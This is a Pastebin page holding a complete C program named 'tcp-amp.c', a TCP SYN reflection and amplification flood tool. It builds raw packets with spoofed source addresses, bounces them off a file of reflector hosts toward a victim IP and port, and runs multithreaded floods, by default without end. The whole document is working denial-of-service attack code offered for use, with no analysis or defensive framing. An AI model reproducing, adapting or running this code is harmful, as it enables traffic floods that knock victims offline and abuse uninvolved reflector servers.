Advertisement
wtfbbq

tcp-amp.c

Mar 9th, 2016
4,985
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.39 KB | None | 0 0
  1. /* TCP AMP - AnonnPL  */
  2. #include <unistd.h>
  3. #include <time.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <sys/ioctl.h>
  7. #include <string.h>
  8. #include <stdlib.h>
  9. #include <stdio.h>
  10. #include <pthread.h>
  11. #include <netinet/tcp.h>
  12. #include <netinet/ip.h>
  13. #include <netinet/in.h>
  14. #include <netinet/if_ether.h>
  15. #include <netdb.h>
  16. #include <net/if.h>
  17. #include <arpa/inet.h>
  18.  
  19. #define MAX_PACKET_SIZE 8192
  20. #define PHI 0x9e3779b9
  21. static uint32_t Q[4096], c = 362436;
  22. struct list
  23. {
  24.     struct sockaddr_in data;
  25.     struct list *next;
  26.     struct list *prev;
  27. };
  28. struct list *head;
  29. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  30.  
  31. void init_rand(uint32_t x)
  32. {
  33.     int i;
  34.     Q[0] = x;
  35.     Q[1] = x + PHI;
  36.     Q[2] = x + PHI + PHI;
  37.     for (i = 3; i < 4096; i++)
  38.     {
  39.         Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  40.     }
  41. }
  42.  
  43. uint32_t rand_cmwc(void)
  44. {
  45.     uint64_t t, a = 18782LL;
  46.     static uint32_t i = 4095;
  47.     uint32_t x, r = 0xfffffffe;
  48.     i = (i + 1) & 4095;
  49.     t = a * Q[i] + c;
  50.     c = (t >> 32);
  51.     x = t + c;
  52.     if (x < c) {
  53.         x++;
  54.         c++;
  55.     }
  56.     return (Q[i] = r - x);
  57. }
  58.  
  59. unsigned short csum (unsigned short *buf, int count)
  60. {
  61.     register unsigned long sum = 0;
  62.     while( count > 1 ) { sum += *buf++; count -= 2; }
  63.     if(count > 0) { sum += *(unsigned char *)buf; }
  64.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  65.     return (unsigned short)(~sum);
  66. }
  67.  
  68. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  69.  
  70.     struct tcp_pseudo
  71.     {
  72.         unsigned long src_addr;
  73.         unsigned long dst_addr;
  74.         unsigned char zero;
  75.         unsigned char proto;
  76.         unsigned short length;
  77.     } pseudohead;
  78.     unsigned short total_len = iph->tot_len;
  79.     pseudohead.src_addr=iph->saddr;
  80.     pseudohead.dst_addr=iph->daddr;
  81.     pseudohead.zero=0;
  82.     pseudohead.proto=IPPROTO_TCP;
  83.     pseudohead.length=htons(sizeof(struct tcphdr));
  84.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  85.     unsigned short *tcp = malloc(totaltcp_len);
  86.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  87.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  88.     unsigned short output = csum(tcp,totaltcp_len);
  89.     free(tcp);
  90.     return output;
  91. }
  92.  
  93. void setup_ip_header(struct iphdr *iph)
  94. {
  95.     iph->ihl = 5;
  96.     iph->version = 4;
  97.     iph->tos = 0;
  98.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  99.     iph->id = htonl(13373);
  100.     iph->frag_off = 0;
  101.     iph->ttl = MAXTTL;
  102.     iph->protocol = IPPROTO_TCP;
  103.     iph->check = 0;
  104.     iph->saddr = inet_addr("192.168.3.100");
  105. }
  106.  
  107. void setup_tcp_header(struct tcphdr *tcph)
  108. {
  109.     tcph->source = htons(5678);
  110.     tcph->seq = rand();
  111.     tcph->ack_seq = 0;
  112.     tcph->res2 = 0;
  113.     tcph->doff = 5;
  114.     tcph->syn = 1;
  115.     tcph->window = htonl(65535);
  116.     tcph->check = 0;
  117.     tcph->urg_ptr = 0;
  118. }
  119.  
  120. void *flood(void *par1)
  121. {
  122.     struct thread_data *td = (struct thread_data *)par1;
  123.     char datagram[MAX_PACKET_SIZE];
  124.     struct iphdr *iph = (struct iphdr *)datagram;
  125.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  126.     struct sockaddr_in sin = td->sin;
  127.     struct  list *list_node = td->list_node;
  128.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  129.     if(s < 0){
  130.         fprintf(stderr, "Could not open raw socket.\n");
  131.         exit(-1);
  132.     }
  133.     init_rand(time(NULL));
  134.     bzero(datagram, MAX_PACKET_SIZE);
  135.     setup_ip_header(iph);
  136.     setup_tcp_header(tcph);
  137.     tcph->source = sin.sin_port;
  138.     tcph->dest = list_node->data.sin_port;
  139.     iph->saddr = sin.sin_addr.s_addr;
  140.     iph->daddr = list_node->data.sin_addr.s_addr;
  141.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  142.     int tmp = 1;
  143.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0){
  144.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  145.         exit(-1);
  146.     }
  147.     register unsigned int pmk = 0;
  148.     while(1){
  149.         if(pmk % 2)
  150.         {
  151.             iph->saddr = sin.sin_addr.s_addr;
  152.             iph->daddr = list_node->data.sin_addr.s_addr;
  153.             iph->id = htonl(rand_cmwc() & 0xFFFFFF);
  154.             iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  155.             tcph->dest = list_node->data.sin_port;
  156.             tcph->seq = rand_cmwc() & 0xFFFF;
  157.             tcph->check = 0;
  158.             tcph->check = tcpcsum(iph, tcph);
  159.             sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  160.             list_node = list_node->next;
  161.         } else {
  162.             iph->saddr = list_node->data.sin_addr.s_addr;;
  163.             iph->daddr = sin.sin_addr.s_addr;
  164.             iph->id = htonl(rand_cmwc() & 0xFFFFFF);
  165.             iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  166.             tcph->seq = rand_cmwc() & 0xFFFF;
  167.             tcph->source = list_node->data.sin_port;
  168.             tcph->dest = sin.sin_port;
  169.             tcph->check = 0;
  170.             tcph->check = tcpcsum(iph, tcph);
  171.             sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  172.         }
  173.         pmk++;
  174.         usleep(0);
  175.     }
  176. }
  177. int main(int argc, char *argv[ ])
  178. {
  179.     if(argc < 4){
  180.         fprintf(stderr, "Invalid parameters!\n");
  181.         fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
  182.         exit(-1);
  183.     }
  184.     int i = 0;
  185.     head = NULL;
  186.     fprintf(stdout, "Setting up Sockets...\n");
  187.     int max_len = 128;
  188.     char *buffer = (char *) malloc(max_len);
  189.     buffer = memset(buffer, 0x00, max_len);
  190.     int num_threads = atoi(argv[4]);
  191.     FILE *list_fd = fopen(argv[3],  "r");
  192.     while (fgets(buffer, max_len, list_fd) != NULL) {
  193.         if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) {
  194.             buffer[strlen(buffer) - 1] = 0x00;
  195.             if(head == NULL)
  196.             {
  197.                 head = (struct list *)malloc(sizeof(struct list));
  198.                 bzero(head, sizeof(struct list));
  199.                 head->data.sin_addr.s_addr=inet_addr(strtok(buffer, " "));
  200.                 head->data.sin_port=htons(atoi(strtok(NULL, " ")));
  201.                 head->next = head;
  202.                 head->prev = head;
  203.             } else {
  204.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  205.                 bzero(new_node, sizeof(struct list));
  206.                 new_node->data.sin_addr.s_addr=inet_addr(strtok(buffer, " "));
  207.                 new_node->data.sin_port=htons(atoi(strtok(NULL, " ")));
  208.                 new_node->prev = head;
  209.                 new_node->next = head->next;
  210.                 head->next = new_node;
  211.             }
  212.             i++;
  213.         }
  214.     }
  215.     pthread_t thread[num_threads];
  216.     struct sockaddr_in sin;
  217.     sin.sin_family = AF_INET;
  218.     sin.sin_port = htons(atoi(argv[2]));
  219.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  220.     struct thread_data td[num_threads];
  221.     for(i = 0;i<num_threads;i++){
  222.         td[i].thread_id = i;
  223.         td[i].sin= sin;
  224.         td[i].list_node = head;
  225.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  226.         head = head->next;
  227.     }
  228.     fprintf(stdout, "Starting Flood...\n");
  229.     if(argc > 5)
  230.     {
  231.         sleep(atoi(argv[5]));
  232.     } else {
  233.         while(1){
  234.             sleep(1);
  235.         }
  236.     }
  237.     return 0;
  238. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement